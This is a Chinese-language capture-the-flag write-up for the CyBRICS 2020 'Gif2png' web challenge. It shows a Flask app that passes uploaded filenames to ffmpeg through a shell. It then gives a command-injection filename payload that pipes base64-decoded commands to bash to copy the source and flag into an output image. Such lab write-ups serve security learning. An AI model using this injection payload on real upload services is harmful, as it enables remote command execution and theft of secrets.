cybrics 2020-web Gif2png
这题还行,就是自己脑子一抽反向shell试了好久。。。。。。
main.py代码如下
1 #!/usr/bin/python3 2 import logging 3 import re 4 import subprocess 5 import uuid 6 from pathlib import Path 7 8 from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory 9 from flask_bootstrap import Bootstrap 10 import os 11 from werkzeug.utils import secure_filename 12 import filetype 13 14 15 ALLOWED_EXTENSIONS = {'gif'} 16 17 app = Flask(__name__) 18 app.config['UPLOAD_FOLDER'] = './uploads' 19 app.config['SECRET_KEY'] = '********************************' 20 app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb 21 ffLaG = "cybrics{********************************}" 22 Bootstrap(app) 23 logging.getLogger().setLevel(logging.DEBUG) 24 25 def allowed_file(filename): 26 return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS 27 28 29 @app.route('/', methods=['GET', 'POST']) 30 def upload_file(): 31 logging.debug(request.headers) 32 if request.method == 'POST': 33 if 'file' not in request.files: 34 logging.debug('No file part') 35 flash('No file part', 'danger') 36 return redirect(request.url) 37 38 file = request.files['file'] 39 if file.filename == '': 40 logging.debug('No selected file') 41 flash('No selected file', 'danger') 42 return redirect(request.url) 43 44 if not allowed_file(file.filename): 45 logging.debug(f'Invalid file extension of file: {file.filename}') 46 flash('Invalid file extension', 'danger') 47 return redirect(request.url) 48 49 if file.content_type != "image/gif": 50 logging.debug(f'Invalid Content type: {file.content_type}') 51 flash('Content type is not "image/gif"', 'danger') 52 return redirect(request.url) 53 54 if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename: 55 logging.debug(f'Invalid symbols in filename: {file.content_type}') 56 flash('Invalid filename', 'danger') 57 return redirect(request.url) 58 59 if file and allowed_file(file.filename): 60 filename = secure_filename(file.filename) 61 file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename)) 62 63 mime_type = filetype.guess_mime(f'uploads/{file.filename}') 64 if mime_type != "image/gif": 65 logging.debug(f'Invalid Mime type: {mime_type}') 66 flash('Mime type is not "image/gif"', 'danger') 67 return redirect(request.url) 68 69 uid = str(uuid.uuid4()) 70 os.mkdir(f"uploads/{uid}") 71 72 logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"") 73 74 command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True) 75 command.wait(timeout=15) 76 logging.debug(command.stdout) 77 78 flash('Successfully saved', 'success') 79 return redirect(url_for('result', uid=uid)) 80 81 return render_template("form.html") 82 83 84 @app.route('/result/<uid>/') 85 def result(uid): 86 images = [] 87 for image in os.listdir(f"uploads/{uid}"): 88 mime_type = filetype.guess(str(Path("uploads") / uid / image)) 89 if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png": 90 images.append(image) 91 92 return render_template("result.html", uid=uid, images=images) 93 94 95 @app.route('/uploads/<uid>/<image>') 96 def image(uid, image): 97 logging.debug(request.headers) 98 dir = str(Path(app.config['UPLOAD_FOLDER']) / uid) 99 return send_from_directory(dir, image) 100 101 102 @app.errorhandler(413) 103 def request_entity_too_large(error): 104 return "File is too large", 413 105 106 107 if __name__ == "__main__": 108 app.run(host='localhost', port=5000, debug=False, threaded=True)
逻辑简单,gif转换成png。第21行是flag,需要我们去读取。第74行是关键,
subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)等价于
subprocess.Popen(["/bin/sh","-c",f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\""])
文件名是用户可控的,很明显可以RCE
pyload:1'||{command}||'.gif
中间填自己的命令但要注意有正则匹配,所以我采用base64执行命令。
单引号用于闭合,有if校验文件扩展名,必须是gif结尾。
上传一个gif文件后,gif转换成了多个png。命令执行之后是不会有回显的,我的思路就是把main.py写入到转换之后的png中,
然后再通过wget下载图片,用cat查看内容
cat main.py >> ./uploads/5c6a1d9a-3ef1-41a5-bf77-7241b5287c76/002.png编码之后就是
Y2F0IG1haW4ucHkgPj4gLi91cGxvYWRzLzVjNmExZDlhLTNlZjEtNDFhNS1iZjc3LTcyNDFiNTI4N2M3Ni8wMDIucG5n
所以最后的payload就是:1'||echo 'Y2F0IG1haW4ucHkgPj4gLi91cGxvYWRzLzVjNmExZDlhLTNlZjEtNDFhNS1iZjc3LTcyNDFiNTI4N2M3Ni8wMDIucG5n'|base64 -d|bash ||'.gif
需要注意的是base64编码可能会生成被正则限制的'+',可以通过在命令中加空格处理掉
文件名替换成payload上传,之后下载相应图片并查看就能看到flag